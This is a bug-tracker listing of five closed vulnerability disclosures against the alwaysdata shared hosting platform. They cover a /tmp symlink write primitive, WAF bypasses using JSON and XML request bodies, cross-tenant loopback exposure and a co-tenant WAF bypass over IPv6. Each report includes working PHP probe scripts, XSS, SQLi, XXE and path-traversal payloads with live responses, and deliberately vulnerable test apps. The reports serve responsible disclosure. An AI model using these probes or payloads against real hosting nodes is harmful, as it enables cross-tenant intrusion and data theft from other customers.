All Projects

ID Status Summary Opened by
 455 Closed Cross-Tenant Write Primitive via World-Writable Shared  ...web_researcher Task Description

Target: alwaysdata shared web node `http22` (185.31.41.42)

Severity: Medium

Class: CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)

Status: Verified — re-verified live 2026-08-18, zero false positives

## Important Clarification Before Reading:

alwaysdata's bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is not about the known read-side exposure of `/tmp` (already tracked internally as  FS#363 /389/393/417/418). This report documents a new and distinct primitive: a confirmed cross-tenant write capability via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.

## Summary:

On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant's PHP using only the standard library, it is possible to:

- create new files at predictable paths in the shared scratch space
- pre-plant symlinks at predictable names that point to arbitrary files
- write through a symlink to its target file

The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic CWE-377 symlink race: pre-plant a symlink at a predictable path that a victim tenant's application will later attempt to create — causing the victim app to either fail, follow the attacker's symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.

This write primitive is the new finding. The read side was already known and reported upstream.

## Reproduction Steps:

Upload the following self-contained PHP probe to any site on node `http22` and fetch it over HTTP. Uses only the PHP standard library — no extensions or special configuration required.

### Probe Code (PHP):

```php
<?php
$base = "/tmp/wafverify_" . getmypid();
1. create a new file anywhere in /tmp
@file_put_contents($base . ".txt", "cross-tenant-write-proof-" . date("c"));
2. create a symlink
@symlink($base . ".txt", $base . ".lnk");
3. write THROUGH the symlink (writes to the target file)
@file_put_contents($base . ".lnk", "overwritten-via-symlink");
4. show directory modes
printf("perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n",

     fileperms("/tmp"), fileperms("/var/tmp"), fileperms("/dev/shm"));

?>
```

### Exact Output (2026-08-18, tenant PHP on http22):
```
create /tmp file: OK size=50
create symlink: OK target=/tmp/wafverify_979432.txt
write-through-symlink: OK bytes=23 real=overwritten-via-symlink
perms: /tmp=1777 /var/tmp=1777 /dev/shm=1777
```

## Additional Confirmed Observations:

Sticky-bit protection intact. Attempting to unlink, rename, or write to another tenant's existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.

Read side (already known). Other tenants' files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream ( FS#363 /389/393/417/418).

PHP sessions not affected. `session.save_path` is already per-tenant (`/home/<acct>/admin/tmp`), so session files cannot be hijacked via this vector.

MySQL `FILE` privilege — negative. No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.

`/proc` — negative. `hidepid` is set; only the tenant's own processes are visible.

## Impact:

A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant's application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.

Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.

Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.

## Ethical Disclosure:

All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant's existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.

## Recommendations:

- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and PHP session paths.
- Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant's own `/home` tree, preventing any cross-tenant path collision.
- For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.

## Relationship to Other Findings:

This finding chains with FINDING-5 (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.

## Evidence Files:

File Contents
`verify_all_output.txt` Live re-verification output (write, symlink creation, write-through, directory permissions)
`CHAIN.md FINDING-3` Detailed write-up including all negative results
 454 Closed Per-Site WAF Partial Bypass: application/xml Bodies Onl ...web_researcher Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: Medium

Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `<script>` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.

## Reproduction Steps:

Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) XXE Declaration — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><q>&xxe;</q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.

### 2) Embedded XSS `<script>` — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q><script>alert(1)</script></q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q>x' OR 1=1– -</q>
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: 60dbddb…)
```

### 4) `text/xml`

The same `<script>` payload sent with `Content-Type: text/xml` also passes with HTTP 200.

## Impact:

The WAF's XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.

## Recommendations:

- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.
- The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.
- Re-test the full matrix from FINDING-1 and this report after any change is applied.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
 453 Closed Per-Site WAF Bypass: application/json POST Bodies Are N ...web_researcher Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: High

Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.

This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.

## Affected Surface:

- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).
- Tested at `waf_profile = full` (strictest level) — bypass holds there.
- Confirmed at both HTTP/1.1 and HTTP/2.
- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection.
- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.

## Reproduction Steps:

1. Create any alwaysdata hosting account with a PHP site.
2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token).
3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.
4. Send the requests shown in the PoC section.

### Victim App — `vuln.php` (reflects parameter into HTML):
```php
<?php
$q = $_REQUEST['q'];
header("Content-Type: text/html");
echo "

<body><h1>Search results for: $q</h1></body>

";
?>
```

### Victim App — `read.php` (reads arbitrary file):

```php
<?php
$f = $_REQUEST['file'];
header("Content-Type: text/plain");
echo @file_get_contents($f);
?>
```

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"<script>alert(1)</script>"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: <script>alert(1)</script></h1></body>

```

### 1b) Same payload — blocked as urlencoded (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/x-www-form-urlencoded

q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: b699a16…)
```

### 2) SQL Injection — passes as `application/json` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"x' OR 1=1– -"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: x' OR 1=1-- -</h1></body>

```

Control urlencoded: HTTP 403.

### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)

```
POST /read.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"file":"/etc/passwd"}
```
```
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… ```

1764 bytes returned. Control urlencoded: HTTP 403.

### 4) Mechanism Proof — decision is header-only, not body content

Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.

### 5) HTTP/2

Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.

### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)

- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API.
- `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle.
- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.
- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.

## Impact:

Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.

## Re-Test Matrix (Already Verified)

Content-Type XSS SQLi LFI Result
`application/json` 200 pass 200 pass 200 pass BYPASS
`application/x-www-form-urlencoded` 403 403 403 Blocked
`application/xml` 200 pass 403 n/a Partial (see FINDING-2)
`text/xml` 200 pass Partial
`application/graphql` 403 Blocked (relabel to json = bypass)
All other CTs tested 403 403 403 Blocked

## Recommendations:

- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.
- Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.
- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.
- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
`rce_src_dump.txt` LFI source disclosure of all webroot files (chains with this finding)
`blind_sqli_extract.py` Automation-scale blind SQLi extractor
`waf_protocol_sweep.py` HTTP/2 + GraphQL + smuggling protocol matrix
`waf_http2_smuggle.py` HTTP/2 smuggling tests
`waf_h2json_gql.py` GraphQL relabeling tests

## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified):
The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.

Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.

### A/B Proof (WAF=full active, same requests, identical payloads):

Request Backend via ULA `fd00::7:<addr>:8080` Public front (WAF=full)
`GET /index.html?q=<script>alert(1)</script>` 200 OK (2419 B) 403 Forbidden
`GET /index.html?q=x' OR 1=1–` 200 OK (2419 B) 403 Forbidden
`GET /.git/config` 404 Not Found (normal handling) 403 Forbidden

### Impact Escalation:

FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.

Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.

The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).

 452 Closed FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ...web_researcher Task Description

Target: alwaysdata shared web node `http22` (185.31.41.42)
Severity: High
Class: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant's PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata's own internal infrastructure.

Port Service Auth Outcome
7020 (bound 0.0.0.0) Customer `fctv33` — "Partite ITA" Stremio sports addon (Node/Express) None Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable
20717 Streamed.pk HLS resolver (another tenant's app) Reachable
8083 alwaysdata PowerDNS API Basic-auth (realm "PowerDNS") Reachable from tenant PHP
8080 alwaysdata internal API (X-API-Key) 401 on POST / 404 on GET Reachable from tenant PHP
53 / 5199 / 8579 / 873 / 2049 / 22 / 111 DNS / misc alwaysdata services Reachable from tenant PHP

The node's public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.

## Reproduction Steps:

Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.

### Probe Code (PHP):
```php
<?php
function b($port, $path) {

  $s = @fsockopen("127.0.0.1", $port, $e, $es, 3);
  if (!$s) return "closed";
  $req = "GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n";
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;

}
echo "– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n";
echo b(7020, "/manifest.json");
echo "\n– 127.0.0.1:7020 /debug/live\n";
echo b(7020, "/debug/live");
echo "\n– 127.0.0.1:8083 (PowerDNS API)\n";
echo b(8083, "/api/v1/servers");
echo "\n– 127.0.0.1:8080 (internal API)\n";
echo b(8080, "/");
?>
```

### Exact Output (2026-08-18, tenant PHP on http22):

```
– 127.0.0.1:7020 (customer fctv33 Stremio addon)
HTTP/1.1 200 OK
{"id":"community.fctv33.sports.test","version":"0.5.8","name":"Partite ITA",
"description":"Partite sportive live","logo":"https://www.fctv33hd.online/favicon.ico",
"resources":["catalog","meta","stream"],"types":["tv"],"idPrefixes":["fctv:"],
"catalogs":[{"type":"tv","id":"partite-ita-live","name":…

– 127.0.0.1:7020 /debug/live
HTTP/1.1 200 OK
{"ok":true,"apiBase":"https://apis-data-defra10.tcdru136ovur.ru","matches":6,
"streamMarkers":6,"sample":[{"id":"fctv:2209841:4","matchId":"2209841",
"sportType":"ST_BASEBALL","title":"Western Wolf Pack vs Southern Stingers",
"league":"AWA Wiffle"},…

– 127.0.0.1:8083 (PowerDNS API)
HTTP/1.0 401 Unauthorized
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'
Www-Authenticate: basic realm="PowerDNS"
<h1>Unauthorized</h1>

– 127.0.0.1:8080 (internal API)
HTTP/1.0 404 Not Found
```

### Signed Token Generation (port 7020):

A `GET /stream/tv/<id>.json` request to port 7020 returns a signed HLS URL in the following form:

```
https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=<JWT>&s=<sig>
```

Any co-tenant on the node can generate valid signed stream tokens for another customer's paid content service, replay those signed URLs, or consume that customer's bandwidth and quota — all without any authentication whatsoever.

## Impact:

Tenant-to-tenant isolation failure. Any customer's PHP running on a shared node can connect to other customers' loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.

alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.

The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.

## Ethical Disclosure:

I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata's own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.

alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.

## Recommendations:

Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A's context never routes to tenant B's services or to alwaysdata's internal services.

Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.

Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.

## Evidence Files:

File Contents
`verify_all_output.txt` Live re-verification output (ports 7020, 8080, 8083)
`port8080_probe.txt` First-discovery probe output for port 8080
`tenantapp_7020.txt` Port 7020 manifest and debug-live responses
`tenantapp_probe3.txt` `/stream/tv/<id>.json` signed JWT output (token value redacted)
`CHAIN.md` Full finding chain reference
 450 Closed Per-site WAF fully bypassable by any co-tenant — attack ...web_researcher Task Description

Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend
Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control

Verified: 2026-08-18, live re-test, zero false positives

Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain
— Architecture — how the attack works
```

                      INTERNET
                          │
                          ▼
            ┌─────────────────────────────┐
            │         alproxy             │
            │  (nginx-based public front) │
            │                             │
            │  ┌───────────────────────┐  │
            │  │   per-site WAF runs   │  │  ← waf_profile = full
            │  │   HERE — XSS/SQLi/LFI │  │    blocks malicious
            │  │   signatures, 403     │  │    payloads from internet
            │  └───────────────────────┘  │
            └──────────────┬──────────────┘
                           │ proxied request
                           ▼
            ┌─────────────────────────────┐
            │    Tenant Apache (origin)   │
            │  Listen [fd00::7:9184]:8080 │  ← no WAF here at all
            │  DocumentRoot /home/acct/   │    no mod_security
            │  FcgidWrapper php-cgi       │    no SecRule
            └─────────────────────────────┘
                           ▲
                           │ direct TCP connection
                           │ (skips alproxy entirely)
            ┌─────────────────────────────┐
            │   Attacker tenant PHP       │
            │   fsockopen(               │
            │     "[fd00::7:9184]", 8080) │  ← any co-tenant can do this
            │                             │    because bond0 is shared L2
            └─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│  Tenant A  fd00::7:8900:8080  ◄──┐                      │
│  Tenant B  fd00::7:8af6:8080  ◄──┤  attacker reaches    │
│  Tenant C  fd00::7:8e39:8080  ◄──┤  any of these        │
│  Attacker  fd00::7:9184:8080     │  directly via PHP    │
│  ... 146 total listeners ...  ◄──┘  fsockopen           │
└──────────────────────────────────────────────────────────┘

```
The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant's PHP can reach any co-tenant's origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.

What I found:

When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:<suffix>:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.
The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant's PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant's ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.
The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.

How to reproduce:

You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled.
Enable the WAF on the victim site:
```
PATCH https://api.alwaysdata.com/v1/site/<victim-site-id>/
Authorization: Basic <account-api-token>
Content-Type: application/json

{"waf_profile": "full"}
```
Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.
— Live evidence — A/B differential (2026-08-18, waf_profile=full)
I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.
Reflected XSS — via public front (WAF active):
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: badaac42-…)
```
Same payload — via co-tenant PHP directly to victim ULA backend:
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 200 OK
Server: Apache
Content-Length: 2419
(full page served, payload unblocked)
```
SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK.
Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.
Results summary:
```
payload via ULA backend (no WAF) via public front (WAF=full)
XSS HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
SQLi HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
/.git/config HTTP/1.1 404 Not Found HTTP/1.1 403 Forbidden
```
Origin Apache config — no WAF present:
```
/home/regtest846/admin/config/apache/apache.conf

  Listen [fd00::7:9184]:8080
  Include "sites.conf"

/home/regtest846/admin/config/apache/sites.conf

  <VirtualHost *>
      ServerName regtest846.alwaysdata.net
      AddHandler fcgid-script .php
      FcgidWrapper "/usr/bin/env ... /usr/bin/php-cgi" .php
      DocumentRoot "/home/regtest846/www/"
  </VirtualHost>

```
No mod_security, no SecRule, no WAF include anywhere in the origin config.
— PoC script
Drop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant's ULA suffix and $host with their public hostname.
```php
<?php
header("Content-Type: text/plain");
set_time_limit(120);

function http6($ip, $port, $path, $host) {

  $s = @fsockopen("[$ip]", $port, $e, $es, 6);
  if (!$s) return "CLOSED";
  stream_set_timeout($s, 10);
  fwrite($s, "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n");
  $r = "";
  while (!feof($s)) {
      $c = fread($s, 8192);
      if ($c === false || $c === "") break;
      $r .= $c;
  }
  fclose($s);
  return $r;

}

// replace these two values
$victim = "fd00::7:XXXX";
$host = "VICTIM.alwaysdata.net";

$payloads = array(

  "XSS"       => "/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
  "SQLi"      => "/index.html?q=x%27%20OR%201%3D1--",
  "path/.git" => "/.git/config",

);

echo "payload\t\t\tvia ULA backend\n";
echo str_repeat("-", 55) . "\n";
foreach ($payloads as $name ⇒ $path) {

  $be = http6($victim, 8080, $path, $host);
  $status = strtok($be, "\r\n");
  echo str_pad($name, 16) . "\t$status\n";

}
echo "\nNote: same payloads via public front all return 403.\n";
echo "Node context:\n";
echo "hostname: " . trim1) . "\n";
echo "our ULA: " . trim2) . "\n";
?>
```

Impact:

The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants.
An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable.
The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.

How to fix this:

The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.
The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.
Both fixes independently break this chain. Ideally both are applied together.
After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.

Evidence files:

The following evidence files are available and can be provided on request or via a support ticket per the program's private-information policy:

chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads
apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present
rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include

FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.

1) string)@shell_exec("hostname 2>/dev/null"
2) string)@shell_exec("ip -6 addr 2>/dev/null | grep -o 'fd00::7:[0-9a-f]*' | head -1"
Showing tasks 1 - 5 of 5 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing